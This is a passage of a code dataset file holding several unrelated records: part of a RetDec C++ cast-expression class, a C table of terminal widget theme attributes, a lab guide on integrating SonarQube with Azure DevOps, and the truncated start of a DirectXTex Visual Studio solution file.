variant):\n\tCastExpr(op, dstType), variant(variant) {}\n\n/**\n* @brief Destructs the operator.\n*/\nIntToFPCastExpr::~IntToFPCastExpr() {\n\t// Observers are removed in the superclass.\n}\n\nbool IntToFPCastExpr::isEqualTo(ShPtr otherValue) const {\n\t// Both types and values of all operands have to be equal.\n\tif (ShPtr otherCastExpr = cast(otherValue)) {\n\t\treturn dstType->isEqualTo(otherCastExpr->getType()) &&\n\t\t\top->isEqualTo(otherCastExpr->getOperand());\n\t}\n\treturn false;\n}\n\n/**\n* @brief Clones the cast operator.\n*/\nShPtr IntToFPCastExpr::clone() {\n\tShPtr castExpr(IntToFPCastExpr::create(\n\t\tucast(op->clone()), dstType));\n\tcastExpr->setMetadata(getMetadata());\n\treturn castExpr;\n}\n\n/**\n* @brief Returns variant of the integer to floating point cast.\n*/\nIntToFPCastExpr::Variant IntToFPCastExpr::getVariant() const {\n\treturn variant;\n}\n\n/**\n* @brief Creates a new cast operator of LLVM instructions SItoFP/UItoFP.\n*\n* @param[in] op Operand.\n* @param[in] dstType Destination type.\n* @param[in] variant Variant of the cast.\n*\n* @par Preconditions\n* - @a op is non-null\n*/\nShPtr IntToFPCastExpr::create(ShPtr op,\n\t\tShPtr dstType, Variant variant) {\n\tPRECONDITION_NON_NULL(op);\n\tPRECONDITION_NON_NULL(dstType);\n\n\tShPtr expr(new IntToFPCastExpr(op, dstType, variant));\n\n\t// Initialization (recall that shared_from_this() cannot be called in a\n\t// constructor).\n\top->addObserver(expr);\n\n\treturn expr;\n}\n\nvoid IntToFPCastExpr::accept(Visitor *v) {\n\tv->visit(ucast(shared_from_this()));\n}\n\n} // namespace llvmir2hll\n} // namespace retdec\n"} +{"text": "/*\n *\n * Copyright (C) 2002 by Massimiliano Ghilardi\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n */\n\n#define t(c) TCELL(f, c)\n#define s(c) TCELL(b, c)\n\n/***********************************/\n\n#define f COL(HIGH | WHITE, GREEN)\n#define b COL(BLACK, WHITE)\n\nstatic ttattr t_button_normal[] = {t(' '), 0, 0, 0};\nstatic ttattr s_button_normal[] = {0,\n 0,\n s(T_UTF_16_LOWER_HALF_BLOCK),\n 0,\n 0,\n s(T_UTF_16_FULL_BLOCK),\n s(' '),\n s(T_UTF_16_UPPER_HALF_BLOCK),\n s(T_UTF_16_UPPER_HALF_BLOCK)};\n\nstatic ttattr t_checkbutton_normal[] = {t('['), t(' '), t(']'), t(' '), 0, 0, 0, 0, 0, 0};\nstatic ttattr t_checkbutton_checked_normal[] = {\n t('['), t(T_UTF_16_CHECK_MARK), t(']'), t(' '), 0, 0, 0, 0, 0, 0};\n#define s_checkbutton_normal s_button_normal\n#define s_checkbutton_checked_normal s_button_normal\n\nstatic ttattr t_radiobutton_normal[] = {t('('), t(' '), t(')'), t(' '), 0, 0, 0, 0, 0, 0};\nstatic ttattr t_radiobutton_checked_normal[] = {t('('), t('*'), t(')'), t(' '), 0, 0, 0, 0, 0, 0};\n#define s_radiobutton_normal s_button_normal\n#define s_radiobutton_checked_normal s_button_normal\n\n/***********************************/\n\n#undef f\n#undef b\n#define f COL(HIGH | WHITE, GREEN)\n#define b COL(HIGH | BLACK, WHITE)\n\n#define t_button_prelight t_button_normal\nstatic ttattr s_button_prelight[] = {0,\n 0,\n s(T_UTF_16_LOWER_HALF_BLOCK),\n 0,\n 0,\n s(T_UTF_16_FULL_BLOCK),\n s(' '),\n s(T_UTF_16_UPPER_HALF_BLOCK),\n s(T_UTF_16_UPPER_HALF_BLOCK)};\n\n#define t_checkbutton_prelight t_checkbutton_normal\n#define t_checkbutton_checked_prelight t_checkbutton_checked_normal\n#define s_checkbutton_prelight s_button_prelight\n#define s_checkbutton_checked_prelight s_button_prelight\n\n#define t_radiobutton_prelight t_radiobutton_normal\n#define t_radiobutton_checked_prelight t_radiobutton_checked_normal\n#define s_radiobutton_prelight s_button_prelight\n#define s_radiobutton_checked_prelight s_button_prelight\n\n/***********************************/\n\n#undef f\n#undef b\n#define f COL(HIGH | WHITE, GREEN)\n#define b COL(BLACK, WHITE)\n\nstatic ttattr t_button_pressed[] = {0, t(' '), 0, 0};\nstatic ttattr s_button_pressed[] = {s(' '), 0, s(' '), s(' ')};\n\nstatic ttattr t_checkbutton_pressed[] = {0, t('['), t(' '), t(']'), t(' '), 0, 0, 0, 0, 0, 0};\nstatic ttattr t_checkbutton_checked_pressed[] = {\n 0, t('['), t(T_UTF_16_CHECK_MARK), t(']'), t(' '), 0, 0, 0, 0, 0};\n#define s_checkbutton_pressed s_button_pressed\n#define s_checkbutton_checked_pressed s_button_pressed\n\nstatic ttattr t_radiobutton_pressed[] = {0, t('('), t(' '), t(')'), t(' '), 0, 0, 0, 0, 0};\nstatic ttattr t_radiobutton_checked_pressed[] = {0, t('('), t('*'), t(')'), t(' '), 0, 0, 0, 0, 0};\n#define s_radiobutton_pressed s_button_pressed\n#define s_radiobutton_checked_pressed s_button_pressed\n\n/***********************************/\n\n#undef f\n#undef b\n#define f COL(HIGH | BLACK, GREEN)\n#define b COL(BLACK, WHITE)\n\nstatic ttattr t_button_disabled[] = {t(' '), 0, 0, 0};\n#define s_button_disabled s_button_normal\n\nstatic ttattr t_checkbutton_disabled[] = {t('['), t(' '), t(']'), t(' '), 0, 0, 0, 0, 0, 0};\nstatic ttattr t_checkbutton_checked_disabled[] = {\n t('['), t(T_UTF_16_CHECK_MARK), t(']'), t(' '), 0, 0, 0, 0, 0, 0};\n#define s_checkbutton_disabled s_button_disabled\n#define s_checkbutton_checked_disabled s_button_disabled\n\nstatic ttattr t_radiobutton_disabled[] = {t('('), t(' '), t(')'), t(' '), 0, 0, 0, 0, 0, 0};\nstatic ttattr t_radiobutton_checked_disabled[] = {t('('), t('*'), t(')'), t(' '), 0, 0, 0, 0, 0, 0};\n#define s_radiobutton_disabled s_button_disabled\n#define s_radiobutton_checked_disabled s_button_disabled\n\n/***********************************/\n\n#undef f\n#undef b\n#define f COL(HIGH | GREEN, BLUE)\n#define b COL(HIGH | WHITE, BLUE)\n\nstatic ttattr t_scrollbar_x_normal[] = {\n s(T_UTF_16_MEDIUM_SHADE),\n t(T_UTF_16_BLACK_LEFT_POINTING_TRIANGLE),\n t(T_UTF_16_BLACK_RIGHT_POINTING_TRIANGLE),\n};\nstatic ttattr t_scrollbar_y_normal[] = {\n s(T_UTF_16_MEDIUM_SHADE),\n t(T_UTF_16_BLACK_UP_POINTING_TRIANGLE),\n t(T_UTF_16_BLACK_DOWN_POINTING_TRIANGLE),\n};\nstatic ttattr s_scrollbar_x_normal[] = {\n s(T_UTF_16_FULL_BLOCK),\n};\n#define s_scrollbar_y_normal s_scrollbar_x_normal\n\n/***********************************/\n\n#undef f\n#undef b\n#define f COL(HIGH | GREEN, HIGH | BLUE)\n#define b COL(HIGH | WHITE, HIGH | BLUE)\n\nstatic ttattr t_scrollbar_x_prelight[] = {\n s(T_UTF_16_MEDIUM_SHADE),\n t(T_UTF_16_BLACK_LEFT_POINTING_TRIANGLE),\n t(T_UTF_16_BLACK_RIGHT_POINTING_TRIANGLE),\n};\nstatic ttattr t_scrollbar_y_prelight[] = {\n s(T_UTF_16_MEDIUM_SHADE),\n t(T_UTF_16_BLACK_UP_POINTING_TRIANGLE),\n t(T_UTF_16_BLACK_DOWN_POINTING_TRIANGLE),\n};\nstatic ttattr s_scrollbar_x_prelight[] = {\n s(T_UTF_16_FULL_BLOCK),\n};\n#define s_scrollbar_y_prelight s_scrollbar_x_prelight\n\n/***********************************/\n\n#undef f\n#undef b\n#define f COL(HIGH | BLUE, HIGH | GREEN)\n#define b COL(HIGH | BLUE, HIGH | WHITE)\n\nstatic ttattr t_scrollbar_x_pressed[] = {\n s(T_UTF_16_MEDIUM_SHADE),\n t(T_UTF_16_BLACK_LEFT_POINTING_TRIANGLE),\n t(T_UTF_16_BLACK_RIGHT_POINTING_TRIANGLE),\n};\nstatic ttattr t_scrollbar_y_pressed[] = {\n s(T_UTF_16_MEDIUM_SHADE),\n t(T_UTF_16_BLACK_UP_POINTING_TRIANGLE),\n t(T_UTF_16_BLACK_DOWN_POINTING_TRIANGLE),\n};\nstatic ttattr s_scrollbar_x_pressed[] = {\n s(T_UTF_16_FULL_BLOCK),\n};\n#define s_scrollbar_y_pressed s_scrollbar_x_pressed\n\n/***********************************/\n\n#undef f\n#undef b\n#define f COL(HIGH | BLACK, BLUE)\n#define b COL(HIGH | BLACK, BLUE)\n\nstatic ttattr t_scrollbar_x_disabled[] = {\n s(T_UTF_16_MEDIUM_SHADE),\n t(T_UTF_16_BLACK_LEFT_POINTING_TRIANGLE),\n t(T_UTF_16_BLACK_RIGHT_POINTING_TRIANGLE),\n};\nstatic ttattr t_scrollbar_y_disabled[] = {\n s(T_UTF_16_MEDIUM_SHADE),\n t(T_UTF_16_BLACK_UP_POINTING_TRIANGLE),\n t(T_UTF_16_BLACK_DOWN_POINTING_TRIANGLE),\n};\nstatic ttattr s_scrollbar_x_disabled[] = {\n s(T_UTF_16_FULL_BLOCK),\n};\n#define s_scrollbar_y_disabled s_scrollbar_x_disabled\n\n/***********************************/\n\n#undef f\n#undef b\n#define f COL(HIGH | GREEN, BLUE)\n#define b COL(HIGH | WHITE, BLUE)\n\nstatic ttattr t_slider_x_normal[] = {\n s(T_UTF_16_MEDIUM_SHADE),\n};\n#define t_slider_y_normal t_slider_x_normal\nstatic ttattr s_slider_x_normal[] = {\n t(T_UTF_16_BLACK_SQUARE),\n};\n#define s_slider_y_normal s_slider_x_normal\n\n/***********************************/\n\n#undef f\n#undef b\n#define f COL(HIGH | GREEN, HIGH | BLUE)\n#define b COL(HIGH | WHITE, HIGH | BLUE)\n\nstatic ttattr t_slider_x_prelight[] = {\n s(T_UTF_16_MEDIUM_SHADE),\n};\n#define t_slider_y_prelight t_slider_x_prelight\nstatic ttattr s_slider_x_prelight[] = {\n t(T_UTF_16_BLACK_SQUARE),\n};\n#define s_slider_y_prelight s_slider_x_prelight\n\n/***********************************/\n\n#undef f\n#undef b\n#define f COL(HIGH | BLUE, HIGH | GREEN)\n#define b COL(HIGH | BLUE, HIGH | WHITE)\n\nstatic ttattr t_slider_x_pressed[] = {\n s(T_UTF_16_MEDIUM_SHADE),\n};\n#define t_slider_y_pressed t_slider_x_pressed\nstatic ttattr s_slider_x_pressed[] = {\n t(T_UTF_16_BLACK_SQUARE),\n};\n#define s_slider_y_pressed s_slider_x_pressed\n\n/***********************************/\n\n#undef f\n#undef b\n#define f COL(HIGH | BLACK, BLUE)\n#define b COL(HIGH | BLACK, BLUE)\n\nstatic ttattr t_slider_x_disabled[] = {\n s(T_UTF_16_MEDIUM_SHADE),\n};\n#define t_slider_y_disabled t_slider_x_disabled\nstatic ttattr s_slider_x_disabled[] = {\n t(T_UTF_16_BLACK_SQUARE),\n};\n#define s_slider_y_disabled s_slider_x_disabled\n\n/***********************************/\n\n#undef f\n#undef b\n#define f COL(HIGH | GREEN, BLUE)\n#define b COL(HIGH | WHITE, BLUE)\n\nstatic ttattr t_progressbar_x_normal[] = {\n s(' '),\n s(T_UTF_16_LEFT_ONE_EIGHTH_BLOCK),\n s(T_UTF_16_LEFT_ONE_QUARTER_BLOCK),\n s(T_UTF_16_LEFT_THREE_EIGHTHS_BLOCK),\n s(T_UTF_16_LEFT_HALF_BLOCK),\n s(T_UTF_16_LEFT_FIVE_EIGHTHS_BLOCK),\n s(T_UTF_16_LEFT_THREE_QUARTERS_BLOCK),\n s(T_UTF_16_LEFT_SEVEN_EIGHTHS_BLOCK),\n s(T_UTF_16_FULL_BLOCK),\n};\nstatic ttattr t_progressbar_y_normal[] = {\n s(' '),\n s(T_UTF_16_LOWER_ONE_EIGHTH_BLOCK),\n s(T_UTF_16_LOWER_ONE_QUARTER_BLOCK),\n s(T_UTF_16_LOWER_THREE_EIGHTHS_BLOCK),\n s(T_UTF_16_LOWER_HALF_BLOCK),\n s(T_UTF_16_LOWER_FIVE_EIGHTHS_BLOCK),\n s(T_UTF_16_LOWER_THREE_QUARTERS_BLOCK),\n s(T_UTF_16_LOWER_SEVEN_EIGHTHS_BLOCK),\n s(T_UTF_16_FULL_BLOCK),\n};\n\nstatic ttattr s_progressbar_x_normal[] = {\n t(' '),\n};\n#define s_progressbar_y_normal s_progressbar_x_normal\n\n/***********************************/\n\n#undef f\n#undef b\n#define f COL(HIGH | BLACK, BLUE)\n#define b COL(HIGH | BLACK, BLUE)\n\nstatic ttattr t_progressbar_x_disabled[] = {\n s(' '),\n s(T_UTF_16_LEFT_ONE_EIGHTH_BLOCK),\n s(T_UTF_16_LEFT_ONE_QUARTER_BLOCK),\n s(T_UTF_16_LEFT_THREE_EIGHTHS_BLOCK),\n s(T_UTF_16_LEFT_HALF_BLOCK),\n s(T_UTF_16_LEFT_FIVE_EIGHTHS_BLOCK),\n s(T_UTF_16_LEFT_THREE_QUARTERS_BLOCK),\n s(T_UTF_16_LEFT_SEVEN_EIGHTHS_BLOCK),\n s(T_UTF_16_FULL_BLOCK),\n};\nstatic ttattr t_progressbar_y_disabled[] = {\n s(' '),\n s(T_UTF_16_LOWER_ONE_EIGHTH_BLOCK),\n s(T_UTF_16_LOWER_ONE_QUARTER_BLOCK),\n s(T_UTF_16_LOWER_THREE_EIGHTHS_BLOCK),\n s(T_UTF_16_LOWER_HALF_BLOCK),\n s(T_UTF_16_LOWER_FIVE_EIGHTHS_BLOCK),\n s(T_UTF_16_LOWER_THREE_QUARTERS_BLOCK),\n s(T_UTF_16_LOWER_SEVEN_EIGHTHS_BLOCK),\n s(T_UTF_16_FULL_BLOCK),\n};\n\nstatic ttattr s_progressbar_x_disabled[] = {\n t(' '),\n};\n#define s_progressbar_y_disabled s_progressbar_x_disabled\n\n/***********************************/\n\n#undef f\n#undef b\n\n/***********************************/\n\nstatic s_tttheme s_DummyTheme, s_RealDummyTheme = {\n (ttclass_tttheme)0,\n TT_NOID,\n (ttuint)0,\n (ttuint)0,\n (ttany)0,\n (ttany)0,\n (ttany)0,\n (ttopaque)0,\n (ttopaque)0,\n\n (ttcallback)0,\n (ttlistener)0,\n (tttimer)0,\n (ttdata)0,\n\n (ttopaque)0,\n NULL,\n TRUNE(' '),\n {\n COL(BLACK, WHITE),\n COL(HIGH | BLACK, BLACK),\n COL(BLACK, WHITE),\n COL(BLACK, GREEN),\n COL(HIGH | BLACK, WHITE),\n COL(HIGH | BLACK, BLACK),\n COL(RED, WHITE),\n COL(RED, GREEN),\n COL(HIGH | WHITE, WHITE),\n COL(HIGH | GREEN, WHITE),\n },\n {\n -2,\n -2,\n -1,\n -1,\n -2,\n -2,\n -1,\n -1,\n },\n {\n /* 0 */\n {\n {2, 2, {0, 0, 1, 1}, t_button_normal},\n {3, 3, {1, 1, 1, 1}, s_button_normal},\n },\n {\n {2, 2, {0, 0, 1, 1}, t_button_prelight},\n {3, 3, {1, 1, 1, 1}, s_button_prelight},\n },\n {\n {2, 2, {1, 0, 0, 1}, t_button_pressed},\n {2, 2, {1, 0, 0, 1}, s_button_pressed},\n },\n {\n {2, 2, {0, 0, 1, 1}, t_button_disabled},\n {2, 2, {0, 0, 1, 1}, s_button_disabled},\n },\n /* 4 */\n {\n {5, 2, {3, 0, 1, 1}, t_checkbutton_normal},\n {3, 3, {1, 1, 1, 1}, s_checkbutton_normal},\n },\n {\n {5, 2, {3, 0, 1, 1}, t_checkbutton_prelight},\n {3, 3, {1, 1, 1, 1}, s_checkbutton_prelight},\n },\n {\n {5, 2, {4, 0, 0, 1}, t_checkbutton_pressed},\n {2, 2, {1, 0, 0, 1}, s_checkbutton_pressed},\n },\n {\n {5, 2, {3, 0, 1, 1}, t_checkbutton_disabled},\n {2, 2, {0, 0, 1, 1}, s_checkbutton_disabled},\n },\n /* 8 */\n {\n {5, 2, {3, 0, 1, 1}, t_checkbutton_checked_normal},\n {3, 3, {1, 1, 1, 1}, s_checkbutton_checked_normal},\n },\n {\n {5, 2, {3, 0, 1, 1}, t_checkbutton_checked_prelight},\n {3, 3, {1, 1, 1, 1}, s_checkbutton_checked_prelight},\n },\n {\n {5, 2, {4, 0, 0, 1}, t_checkbutton_checked_pressed},\n {2, 2, {1, 0, 0, 1}, s_checkbutton_checked_pressed},\n },\n {\n {5, 2, {3, 0, 1, 1}, t_checkbutton_checked_disabled},\n {2, 2, {0, 0, 1, 1}, s_checkbutton_checked_disabled},\n },\n /* 0xC */\n {\n {5, 2, {3, 0, 1, 1}, t_radiobutton_normal},\n {3, 3, {1, 1, 1, 1}, s_radiobutton_normal},\n },\n {\n {5, 2, {3, 0, 1, 1}, t_radiobutton_prelight},\n {3, 3, {1, 1, 1, 1}, s_radiobutton_prelight},\n },\n {\n {5, 2, {4, 0, 0, 1}, t_radiobutton_pressed},\n {2, 2, {1, 0, 0, 1}, s_radiobutton_pressed},\n },\n {\n {5, 2, {3, 0, 1, 1}, t_radiobutton_disabled},\n {2, 2, {0, 0, 1, 1}, s_radiobutton_disabled},\n },\n /* 0x10 */\n {\n {5, 2, {3, 0, 1, 1}, t_radiobutton_checked_normal},\n {3, 3, {1, 1, 1, 1}, s_radiobutton_checked_normal},\n },\n {\n {5, 2, {3, 0, 1, 1}, t_radiobutton_checked_prelight},\n {3, 3, {1, 1, 1, 1}, s_radiobutton_checked_prelight},\n },\n {\n {5, 2, {4, 0, 0, 1}, t_radiobutton_checked_pressed},\n {2, 2, {1, 0, 0, 1}, s_radiobutton_checked_pressed},\n },\n {\n {5, 2, {3, 0, 1, 1}, t_radiobutton_checked_disabled},\n {2, 2, {0, 0, 1, 1}, s_radiobutton_checked_disabled},\n },\n /* 0x14 */\n {\n {3, 1, {0, 0, 2, 0}, t_scrollbar_x_normal},\n {1, 1, {0, 0, 0, 0}, s_scrollbar_x_normal},\n },\n {\n {3, 1, {0, 0, 2, 0}, t_scrollbar_x_prelight},\n {1, 1, {0, 0, 0, 0}, s_scrollbar_x_prelight},\n },\n {\n {3, 1, {0, 0, 2, 0}, t_scrollbar_x_pressed},\n {1, 1, {0, 0, 0, 0}, s_scrollbar_x_pressed},\n },\n {\n {3, 1, {0, 0, 2, 0}, t_scrollbar_x_disabled},\n {1, 1, {0, 0, 0, 0}, s_scrollbar_x_disabled},\n },\n /* 0x18 */\n {\n {1, 3, {0, 0, 0, 2}, t_scrollbar_y_normal},\n {1, 1, {0, 0, 0, 0}, s_scrollbar_y_normal},\n },\n {\n {1, 3, {0, 0, 0, 2}, t_scrollbar_y_prelight},\n {1, 1, {0, 0, 0, 0}, s_scrollbar_y_prelight},\n },\n {\n {1, 3, {0, 0, 0, 2}, t_scrollbar_y_pressed},\n {1, 1, {0, 0, 0, 0}, s_scrollbar_y_pressed},\n },\n {\n {1, 3, {0, 0, 0, 2}, t_scrollbar_y_disabled},\n {1, 1, {0, 0, 0, 0}, s_scrollbar_y_disabled},\n },\n /* 0x1C */\n {\n {1, 1, {0, 0, 0, 0}, t_slider_x_normal},\n {1, 1, {0, 0, 0, 0}, s_slider_x_normal},\n },\n {\n {1, 1, {0, 0, 0, 0}, t_slider_x_prelight},\n {1, 1, {0, 0, 0, 0}, s_slider_x_prelight},\n },\n {\n {1, 1, {0, 0, 0, 0}, t_slider_x_pressed},\n {1, 1, {0, 0, 0, 0}, s_slider_x_pressed},\n },\n {\n {1, 1, {0, 0, 0, 0}, t_slider_x_disabled},\n {1, 1, {0, 0, 0, 0}, s_slider_x_disabled},\n },\n /* 0x20 */\n {\n {1, 1, {0, 0, 0, 0}, t_slider_y_normal},\n {1, 1, {0, 0, 0, 0}, s_slider_y_normal},\n },\n {\n {1, 1, {0, 0, 0, 0}, t_slider_y_prelight},\n {1, 1, {0, 0, 0, 0}, s_slider_y_prelight},\n },\n {\n {1, 1, {0, 0, 0, 0}, t_slider_y_pressed},\n {1, 1, {0, 0, 0, 0}, s_slider_y_pressed},\n },\n {\n {1, 1, {0, 0, 0, 0}, t_slider_y_disabled},\n {1, 1, {0, 0, 0, 0}, s_slider_y_disabled},\n },\n /* 0x24 */\n {\n {8, 1, {0, 0, 0, 0}, t_progressbar_x_normal},\n {1, 1, {0, 0, 0, 0}, s_progressbar_x_normal},\n },\n {\n {8, 1, {0, 0, 0, 0}, t_progressbar_x_disabled},\n {1, 1, {0, 0, 0, 0}, s_progressbar_x_disabled},\n },\n {\n {8, 1, {0, 0, 0, 0}, t_progressbar_y_normal},\n {1, 1, {0, 0, 0, 0}, s_progressbar_y_normal},\n },\n {\n {8, 1, {0, 0, 0, 0}, t_progressbar_y_disabled},\n {1, 1, {0, 0, 0, 0}, s_progressbar_y_disabled},\n },\n /* 0x28 */\n },\n};\n"} +{"text": "---\ntitle: Managing technical debt with SonarQube and Azure DevOps\nlayout: page\nsidebar: vsts2\npermalink: /labs/vstsextend/sonarqube/\nfolder: /labs/vstsextend/sonarqube/\n---\n
    \n\n## Overview\n\nTechnical debt is the set of problems in a development effort that make forward progress on customer value inefficient. Technical debt saps productivity by making code hard to understand, fragile, time-consuming to change, difficult to validate, and creates unplanned work that blocks progress. Unless they are managed, technical debt can accumulate and hurt the overall quality of the software and the productivity of the development team in the long term\n\n[SonarQube](https://www.sonarqube.org/){:target=\"_blank\"} an open source platform for continuous inspection of code quality to perform automatic reviews with static analysis of code to:\n\n- Detect Bugs\n- Code Smells\n- Security Vulnerabilities\n- Centralize Quality\n\n### What's covered in this lab\n\nIn this lab, you will learn how to setup SonarQube on Azure and integrate with Azure DevOps project\n\n- Provision SonarQube server as [Azure Container Instance](https://docs.microsoft.com/en-in/azure/container-instances/) from SonarQube Docker image\n- Setup SonarQube project\n- Provision an Azure DevOps Project and configure CI pipeline to integrate with SonarQube\n- Analyze SonarQube reports\n\n### Before you begin\n\n1. Refer to the [Getting Started](../Setup/) page before you begin the exercises.\n\n1. Launch the [Azure Cloud Shell](https://docs.microsoft.com/en-in/azure/cloud-shell/overview) from the Azure portal and choose **Bash**.\n\n1. **Setup SonarQube server as Azure Container Instance**:\n\n i. Create a Resource Group. Replace `` with the region of your choosing, for example, eastus.\n \n ```bash\n az group create --name MySonarServer --location \n ```\n ii. Create Azure Container Instance with official SonarQube Docker image.\n \n ```bash\n az container create -g MySonarServer --name sonarqubeaci --image sonarqube --ports 9000 --dns-name-label mysonarqubedns --cpu 2 --memory 3.5\n ```\n **Parameters**:\n \n |Name |Description |\n |---------|---------|\n |`--name` | Name of the container instance. |\n |`--image` | The container image name. Here we are fetching official [SonarQube image](https://hub.docker.com/_/sonarqube) from DockerHub |\n |`--ports` | The ports to open. The default port for SoanrQube is `9000`. We need to expose this port to access SonarQube. |\n |`--dns-name-label` | The dns name label for container with public IP. |\n |`--cpu` | The required number of CPU cores of the containers. |\n |`--memory` | The required memory of the containers in GB |\n \n\n1. Once the deployment is successful, you will see the following resources in the Azure Portal.\n \n ![sonarqubeaci](images/sonarqubeaci.png)\n\n {% include note.html content= \"If you would like to setup the SonarQube server in Azure VM using ARM template follow the instruction [here](sonarqube-arm/)\" %}\n\n1. Use the [Azure DevOps Demo Generator](https://azuredevopsdemogenerator.azurewebsites.net/?TemplateId=77364&Name=SonarQube){:target=\"_blank\"} to provision a project on your Azure DevOps Organization.\n\n## Exercise 1: Create a SonarQube Project and configure Quality Gate\n\n1. Access the **SonarQube** portal providing the DNS name (Or Public IP) suffixed by the port number.\n\n {% include important.html content= \"The default port for SonarQube is 9000. Copy the DNS name from the created Container Instance in Azure Portal as shown and append :9000 at the end. The final **SonarQube** URL will be **http://YOUR_DNS_NAME:9000**\" %}\n\n ![access_sonar_aci](images/access_sonar_aci.png)\n\n1. Open a browser and login to the SonarQube Portal using the following credentials-\n\n >**Username= admin, Password= admin**\n\n1. Click **Skip this tutorial** in the pop-up window to see the home page.\n \n ![Skip tutorial](images/skiptutorial.png)\n\n ![sonarqube_portal](images/sonarqube_portal.png)\n\n1. Choose **Administration** in the toolbar, click **Projects** tab and then **Management**.\n\n ![sonar_admin](images/sonar_admin.png)\n\n1. Create a project with **Name** and **Key** as **MyShuttle**.\n\n - **Name**: Name of the SonarQube project that will be displayed on the web interface.\n\n - **Key**: The SonarQube project key that is unique for each project.\n\n - Leave the **Visibility** option to **Public**.\n\n ![project_creation](images/project_creation.png)\n\n Let us create a Quality Gate to enforce a policy which fails the gate if there are bugs in the code. A Quality Gate is a PASS/FAIL check on a code quality that must be enforced before releasing software.\n\n1. Click the **Quality Gates** menu and click **Create** in the Quality Gates screen. Enter a name for the Quality Gate and click **Create**.\n\n ![qualitygate](images/qualitygate.png)\n\n1. Let us add a condition to check for the number of bugs in the code. Click on **Add Condition** drop down, select **On Overall Code**, choose the value **Bugs**.\n\n ![qg-bugs](images/qg-bugs.png)\n\n1. Set the **is greater than** value to **0** (zero) and click on the **Add** button.\n\n {% include note.html content= \"This condition means that if the number of bugs in Sonar Analysis is greater than 0 (zero), then the quality gate will fail and this fails the VSTS build.\" %}\n\n ![qgbug-add](images/qgbug-add.png)\n\n1. To enforce this quality gate for **MyShuttle** project, click on **All** under **Projects** section and select the project checkbox.\n\n ![qg-selectproject](images/qg-selectproject.png)\n\n## Exercise 2: Modify the Build to Integrate with SonarQube\n\nNow that the SonarQube server is running, we will modify Azure Build pipeline to integrate with SonarQube to analyze the java code provisioned by the Azure DevOps Demo Generator system.\n\n1. Go to **pipelines** under **Pipelines** tab, edit the build pipeline **SonarQube**. This is a Java application and we are using [Maven](https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/build/maven?view=azure-devops) to build the code. And we are using [SonarQube](https://marketplace.visualstudio.com/items?itemName=SonarSource.sonarqube) extension tasks to prepare analysis on SonarQube and publish Quality Gate results.\n\n1. **Prepare Analysis Configuration** task is to configure all the required settings before executing the build. Click **+ NEW** to add SonarQube server endpoint. \n \n ![](images/prepare-analysis.png)\n\n In the **Add SonarQube service connection** wizard enter the SonarQube server URL and SonarQube security token detials. If you don't have SonarQube security token follow [this](https://docs.sonarqube.org/latest/user-guide/user-token/) to create one. And make sure SonarQube project name and project key are same as you entered while creating SonarQube project in **Exercise 1**. \n \n ![](images/sonar_endpoint.png)\n\n {% include note.html content= \"The tokens are used to run analysis or invoke web services without access to the user's actual credentials.\" %}\n\n1. **Publish Quality Gate Result** task is to display the Quality Gate status in the build summary.\n \n ![](images/publish_qualitygate.png)\n\n1. **Save** the changes and queue the build.\n\n ![build_in_progress](images/build_in_progress.png)\n\n1. You will see that the build has succeeded but the associated **SonarQube Quality Gate** has **failed**. The count of bugs is also displayed under **SonarQube Analysis Report**.\n\n ![build_summary](images/build_summary.png)\n\n1. Click on the **Detailed SonarQube Report** link in the build summary to open the project in SonarQube.\n\n ![analysis_report](images/analysis_report.png)\n\n## Exercise 3: Analyze SonarQube Reports\n\nThe link will open the **MyShuttle** project in the SonarQube Dashboard. Under ***Bugs and Vulnerabilities***, we can see that there are 4 bugs reported.\n\n ![sonar_portal](images/sonar_portal.png)\n\n The page has other metrics such as ***Code Smells***, ***Coverage***, ***Duplications*** and ***Size***. The following table briefly explains each of these terms.\n\n |Terms|Description|\n |-----|-----------|\n |**Bugs**|An issue that represents something wrong in the code. If this has not broken yet, it will, and probably at the worst possible moment. This needs to be fixed|\n |**Vulnerabilities**|A security-related issue which represents a potential backdoor for attackers|\n |**Code Smells**|A maintainability-related issue in the code. Leaving it as-is means that at best maintainers will have a harder time than they should making changes to the code. At worst, they'll be so confused by the state of the code that they'll introduce additional errors as they make changes|\n |**Coverage**|To determine what proportion of your project's code is actually being tested by tests such as unit tests, code coverage is used. To guard effectively against bugs, these tests should exercise or 'cover' a large proportion of your code|\n |**Duplications**|The duplications decoration shows which parts of the source code are duplicated|\n |**Size**|Provides the count of lines of code within the project including the number of statements, Functions, Classes, Files and Directories|\n\n {% include important.html content= \"In this example, along with the bug count, a character **D** is displayed which is known as **Reliability Rating**. **D** indicates that there is **atleast 1 critical bug** in this code. For more information on Reliability Rating, click [here](https://docs.sonarqube.org/display/SONAR/Metric+Definitions#MetricDefinitions-Reliability)\" %}\n\n1. Click on the **Bugs** count to see the details of the bug.\n\n ![bug_details](images/bug_details.png)\n\nWith Azure DevOps and SonarQube, the capability is to not only show the health of an application but also to highlight newer issues. With a Quality Gate in place, you can fix the leak and therefore improve code quality systematically. \n\n## Summary\n\nWith SonarQube direct integration with Azure Pipeline, you learnt how to have a quality management tool to ensure that your code is up to standards. You can embed automated testing in your CI/CD pipleine to automate the measurement of your technical debt including code semantics, testing coverage, vulnerabilities. etc.\n"} +{"text": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 2012\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"DirectXTex_XboxOneXDK\", \"DirectXTex_XboxOneXDK.vcxproj\", \"{8424AED1-3DBF-44FA-9CF9-7FBDF1C18596}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Durango = Debug|Durango\n\t\tProfile|Durango = Profile|Durango\n\t\tRelease|Durango = Release|Durango\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{8424AED1-3DBF-44FA-9CF9-7FBDF1C18596}.Debug|Durango.ActiveCfg = Debug|Durango\n\t\t{8424AED1-3DBF-44FA-9CF9-7FBDF1C18596}.Debug|Durango.Build.0 = Debug|Durango\n\t\t{8424AED1-3DBF-44FA-9CF9-7FBDF1C18596}.Profile|Durango.ActiveCfg = Profile|Durango\n\t\t{8424AED1-3DBF-44FA-9CF9-7FBDF1C18596}.Profile|Durango.Build.0 = Profile|Durango\n\t\t{8424AED1-3DBF-44FA-9CF9-7FBDF1C18596}.Release|Durango.ActiveCfg = 